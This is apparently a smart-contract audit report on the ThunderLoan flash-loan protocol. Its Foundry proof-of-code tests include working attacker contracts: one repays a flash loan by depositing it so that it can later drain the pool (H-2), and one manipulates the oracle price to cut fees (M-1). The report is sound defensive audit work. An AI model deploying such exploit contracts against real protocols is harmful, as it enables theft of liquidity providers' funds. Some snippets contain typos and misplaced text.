ThunderLoan Audit Report

Version 1.0

Luka Nikolic

February 23, 2024

ThunderLoan Audit Report

Luka Nikolic

Feb 23, 2024

Prepared by: Luka Nikolic

Lead Security Researcher:

- Luka Nikolic

Table of Contents

    - [H-3] Mixing up variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

- Medium
    - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
    - [M-2] Centralization risk for trusted owners
        * Impact:
        * Contralized owners can brick redemptions by disapproving of a specific token

- Low
    - [L-1] Empty Function Body - Consider commenting why
    - [L-2] Initializers could be front-run
    - [L-3] Missing critial event emissions

- Informational
    - [I-1] Poor Test Coverage
    - [I-2] Not using `__gap[50]` for future storage collision mitigation
    - [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
    - [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

- Gas
    - [GAS-1] Using bools for storage incurs overhead
    - [GAS-2] Using **`private`** rather than **`public`** for constants, saves gas
    - [GAS-3] Unnecessary SLOAD when logging new exchange rate

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The Luka makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings describer in this document correspond the following commit hash:

- Commit Hash: 026da6e73fde0dd0a650d623d0411547e3188909
- In Scope:

Scope

```
#-- interfaces
   #-- IFlashLoanReceiver.sol
   #-- IPoolFactory.sol
   #-- ITSwapPool.sol
   #-- IThunderLoan.sol
#-- protocol
   #-- AssetToken.sol
   #-- OracleUpgradeable.sol
   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

It went good.

Spent 4 days on auditing this

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	2
Low	3
Gas	3
Info	4
Total	15

Findings

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updated this rate, without collecting any fees!

```
1   function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7
8           // @audit - HIGH - we shouldn't updating the exchange rate here
9   ->      uint256 calculatedFee = getCalculatedFee(token, amount);
10  ->      assetToken.updateExchangeRate(calculatedFee);
11          token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
12      }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.

2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof Of Code

Place the following in the `ThunderLoanTest.t.sol`:

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`.

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit - HIGH - we shouldn't updating the exchange rate here
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Users can take flashloan and instead of repaying it, they can deposit it

Description: Users take flashloan and instead of repaying it they can just deposit it, and then they can reedem it later. Because `flashloan` function check only starting and ending balance of token in the pool not how it got there.

```
->      uint256 endingBalance = token.balanceOf(address(assetToken));
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
               endingBalance);
        }
        s_currentlyFlashLoaning[token] = false;
```

Impact: Users get free money

Proof of Concept:

1. User take flashloan
2. Then instead of repaying it he deposit it
3. `endingBalance` looks good like he repayed it

PoC

Write this in `ThunderLoanTest.t.sol`:

1. Malicious contract:

```
contract DepositOverRepay is IFlashLoanReceiver {
 ThunderLoan thunderLoan;
 AssetToken assetToken;
 IERC20 s_token;


 constructor(address _thunderLoan) {
     thunderLoan = ThunderLoan(_thunderLoan);
 }

 function executeOperation(
     address token,
     uint256 amount,
     uint256 fee,
     address, /*initiator*/
     bytes calldata /*params*/
 )
     external
     returns (bool)
 {
     s_token = IERC20(token);
     assetToken = thunderLoan.getAssetFromToken(IERC20(token));
```

```
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
    }
```

2. Our test :

```
    function testUseDepositInsteadOfRepayToStealFunds() public
        setAllowedToken hasDeposits {
    vm.startPrank(user);
    // amount we want to borrof
    uint256 amountToBorrow = 50e18;
    // calculating fee
    uint256 fee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);
    // importing our malicious contract
    DepositOverRepay dor = new DepositOverRepay(address(
        thunderLoan));
    // minting tokens to our new contract and fee amount
    tokenA.mint(address(dor), fee);
    // taking flashloan
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, ""
        );
    // calling our redeem function
    dor.redeemMoney();
    vm.stopPrank();

    // checking to see if our new contract took all the money
    assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);

}
```

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registring the `block.number` in a variable in `flashloan()` and checking it in `deposit()`.

[H-3] Mixing up variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan` has variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

PoC

Plae the following into `ThunderLoanTest.t.sol`.

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
        function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee before upgrade: ", feeBeforeUpgrade);
        console2.log("Fee after upgrade: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

```
-    uint256 public constant FEE_PRECISION = 1e18;
+    uints56 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256
        ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
    ();
    }
```

```
3. The user then repays the first flash loan, and then repays the
    second flash loan.
```

PoC

Write this in `ThunderLoanTest.t.sol`

1. Malicious Contract

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
ThunderLoan thunderLoan;
address repayAddress;
BuffMockTSwap tswapPool;
bool attacked;
uint256 public feeOne;
uint256 public feeTwo;

/**
 *
 * @param _tswapPool - tswap pool address
 * @param _thunderLoan - thunderLoan address so that we pay it back so we can take second flash loan
 * @param _repayAddress - address where we send money back
 */
constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
    tswapPool = BuffMockTSwap(_tswapPool);
    thunderLoan = ThunderLoan(_thunderLoan);
    repayAddress = _repayAddress;
}

function executeOperation(
    address token,
    uint256 amount,
    uint256 fee,
    address, /*initiator*/
    bytes calldata /*params*/
)
    external
    returns (bool)
{
    if (!attacked) {
        // 1. Swap tokenA borrowed for WETH
        // 2. Take out another flash loan, to show the diffference
        feeOne = fee;
        attacked = true;
        uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
        IERC20(token).approve(address(tswapPool), 50e18);
        // This will tank the price
        tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
        // we all second flashloan
        thunderLoan.flashloan(address(this), IERC20(token), amount, "");
        // repay
        // IERC20(token).approve(address(thunderLoan), amount + fee);
        // thunderLoan.repay(IERC20(token), amount + fee);
```

```
45          // we repay it directly instead of calling repay because
                of bug that doesn't not allow us to repay flash loan
                inside another flash loan
46          IERC20(token).transfer(address(repayAddress), amount + fee
                );
47      } else {
48          // calculate the fee and repay
49          feeTwo = fee;
50          // repay
51          // IERC20(token).approve(address(thunderLoan), amount +
                fee);
52          // thunderLoan.repay(IERC20(token), amount + fee);
53          IERC20(token).transfer(address(repayAddress), amount + fee
                );
54
55      }
56      return true;
57  }
58  }
```

2. Test :

```
1       function testOracleManipulation() public {
2        // 1. Setup contracts!
3        thunderLoan = new ThunderLoan();
4        tokenA = new ERC20Mock();
5        proxy = new ERC1967Proxy(address(thunderLoan), "");
6        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth
             ));
7        // Then create a TSwap dex between WETH/TokenA
8        address tswapPool = pf.createPool(address(tokenA));
9        // we will use proxy address as thunderloan contract
10       thunderLoan = ThunderLoan(address(proxy));
11       thunderLoan.initialize(address(pf));
12
13       // 2. Fund TSwap
14       vm.startPrank(liquidityProvider);
15       tokenA.mint(liquidityProvider, 100e18);
16       tokenA.approve(address(tswapPool), 100e18);
17       weth.mint(liquidityProvider, 100e18);
18       weth.approve(address(tswapPool), 100e18);
19       BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18,
             block.timestamp);
20       vm.stopPrank();
21       // Ratio 100 WETH & 100 TokenA
22       // Price: 1:1
23       // 3. Fund ThunderLoan
24       // Set allow
25       vm.prank(thunderLoan.owner());
26       thunderLoan.setAllowedToken(tokenA, true);
27       // Fund
```

```
28        vm.startPrank(liquidityProvider);
29        tokenA.mint(liquidityProvider, 1000e18);
30        tokenA.approve(address(thunderLoan), 1000e18);
31        thunderLoan.deposit(tokenA, 1000e18);
32        vm.stopPrank();
33        // So as of now there is 100 WETH & 100 TokenA in TSwap and
              1000 TokenA in ThunderLoan that we can borrow
34        /* So we will take flash loan of 50 tokenA, swap it on the
              dex, tanking the price so ratio there will be 150
35        TokenA : ~80 WETH.
36        Then we will take another flash loan of 50 tokenA for the
              much cheaper price, making fees way cheaper
37         and that is how we will screwed the protocol */
38        // 4. We are going to take out 2 flash loans
39        //      a. To nuke the price of the WETH/tokenA on TSwap
40        //      b. To show that doing so greatly reduces the feed we
              pay on ThunderLoan
41        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
              100e18);
42        console2.log("Normal fee is:", normalFeeCost);
43        // Normal fee is: 0.296147410319118389
44
45        uint256 amountToBorrow = 50e18; // we will do this twice
46        // importing our malicious contract with right params
47        MaliciousFlashLoanReceiver flr = new
              MaliciousFlashLoanReceiver(
48            address(tswapPool), address(thunderLoan), address(
                  thunderLoan.getAssetFromToken(tokenA))
49        );
50
51        // starting the attack
52        vm.startPrank(user);
53        tokenA.mint(address(flr), 100e18);
54        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "
              ");
55        vm.stopPrank();
56
57        uint256 attackFee = flr.feeOne() + flr.feeTwo();
58        console2.log("Attack Fee is: ", attackFee);
59        assert(attackFee < normalFeeCost);
60    }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer {
```

```
4
5   138:     function initialize(address tswapAddress) external initializer
        {
6
7   139:         __Ownable_init();
8
9   140:         __UUPSUpgradeable_init();
10
11  141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
1  +    event FlashLoanFeeUpdated(uint256 newFee);
2  .
3  .
4  .
5      function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6          if (newFee > s_feePrecision) {
7              revert ThunderLoan__BadNewFee();
8          }
9          s_flashLoanFee = newFee;
10 +        emit FlashLoanFeeUpdated(newFee);
11     }
```

Informational

[I-1] Poor Test Coverage

```
1  Running tests...
2  | File                                | % Lines        | % Statements
       | % Branches    | % Funcs        |
3  | ----------------------------------- | -------------- | --------------
       | ------------- | -------------- |
4  | src/protocol/AssetToken.sol         | 70.00% (7/10)  | 76.92% (10/13)
       | 50.00% (1/2)  | 66.67% (4/6)   |
5  | src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
       | 100.00% (0/0) | 80.00% (4/5)   |
6  | src/protocol/ThunderLoan.sol        | 64.52% (40/62) | 68.35% (54/79)
       | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
1    s_exchangeRate = newExchangeRate;
2  - emit ExchangeRateUpdated(s_exchangeRate);
3  + emit ExchangeRateUpdated(newExchangeRate);
```